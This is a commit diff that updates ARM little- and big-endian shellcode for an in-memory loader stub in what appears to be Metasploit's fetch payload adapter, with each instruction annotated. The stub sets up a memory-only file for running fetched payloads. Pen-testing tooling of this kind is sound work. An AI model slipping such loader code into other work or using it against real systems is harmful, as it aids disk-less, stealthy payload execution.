armle/armbe shellcode update

This commit is contained in:
Martin Sutovsky
2025-04-01 18:25:35 +02:00
parent 8a4265038a
commit 8a9eeafd1c
+22 -24
View File
@@ -349,18 +349,17 @@ module Msf::Payload::Adapter::Fetch
payload = in_memory_loader_asm.pack("N*")
when 'armle'
in_memory_loader_asm = [
0x0020a0e3, #0x1000: mov r2, #0 0x0020a0e3
0x04202de5, #0x1004: str r2, [sp, #-4]! 0x04202de5
0x0d00a0e1, #0x1008: mov r0, sp 0x0d00a0e1
0x0110a0e3, #0x100c: mov r1, #1 0x0110a0e3
0x8370a0e3, #0x1010: mov r7, #0x83 0x8370a0e3
0xfe7087e2, #0x1014: add r7, r7, #0xfe 0xfe7087e2
0x000000ef, #0x1018: svc #0 0x000000ef
0x5d70a0e3, #0x101c: mov r7, #0x5d 0x5d70a0e3
0x000000ef, #0x1020: svc #0 0x000000ef
0x1d70a0e3, #0x1024: mov r7, #0x1d 0x1d70a0e3
0x000000ef, #0x1028: svc #0 0x000000ef
0x4ff00002, #0x1000: mov.w r2, #0 0x4ff00002
0x4df8042d, #0x1004: str r2, [sp, #-0x4]! 0x4df8042d
0x6846, #0x1008: mov r0, sp 0x6846
0x4ff00101, #0x100a: mov.w r1, #1 0x4ff00101
0x4ff08307, #0x100e: mov.w r7, #0x83 0x4ff08307
0x07f1fe07, #0x1012: add.w r7, r7, #0xfe 0x07f1fe07
0x00df, #0x1016: svc #0 0x00df
0x4ff05d07, #0x1018: mov.w r7, #0x5d 0x4ff05d07
0x00df, #0x101c: svc #0 0x00df
0x4ff01d07, #0x101e: mov.w r7, #0x1d 0x4ff01d07
0x00df, #0x1022: svc #0 0x00df
]
payload = in_memory_loader_asm.pack("V*")
when 'armbe'
@@ -368,18 +367,17 @@ module Msf::Payload::Adapter::Fetch
# ftruncate(fd, null)
# pause()
in_memory_loader_asm = [
0xe3a02000, #0x1000: mov r2, #0 0xe3a02000
0xe52d2000, #0x1004: str r2, [sp, #-0] 0xe52d2000
0xe1a0000d, #0x1008: mov r0, sp 0xe1a0000d
0xe3a01001, #0x100c: mov r1, #1 0xe3a01001
0xe3a07083, #0x1010: mov r7, #0x83 0xe3a07083
0xe28770fe, #0x1014: add r7, r7, #0xfe 0xe28770fe
0xef000000, #0x1018: svc #0 0xef000000
0xe3a0705d, #0x101c: mov r7, #0x5d 0xe3a0705d
0xef000000, #0x1020: svc #0 0xef000000
0xe3a0701d, #0x1024: mov r7, #0x1d 0xe3a0701d
0xef000000, #0x1028: svc #0 0xef000000
0xf04f0200, #0x1000: mov.w r2, #0 0xf04f0200
0xf84d2d04, #0x1004: str r2, [sp, #-0x4]! 0xf84d2d04
0x4668, #0x1008: mov r0, sp 0x4668
0xf04f0101, #0x100a: mov.w r1, #1 0xf04f0101
0xf04f0783, #0x100e: mov.w r7, #0x83 0xf04f0783
0xf10707fe, #0x1012: add.w r7, r7, #0xfe 0xf10707fe
0xdf00, #0x1016: svc #0 0xdf00
0xf04f075d, #0x1018: mov.w r7, #0x5d 0xf04f075d
0xdf00, #0x101c: svc #0 0xdf00
0xf04f071d, #0x101e: mov.w r7, #0x1d 0xf04f071d
0xdf00, #0x1022: svc #0 0xdf00
]
payload = in_memory_loader_asm.pack("V*")
when 'mips64'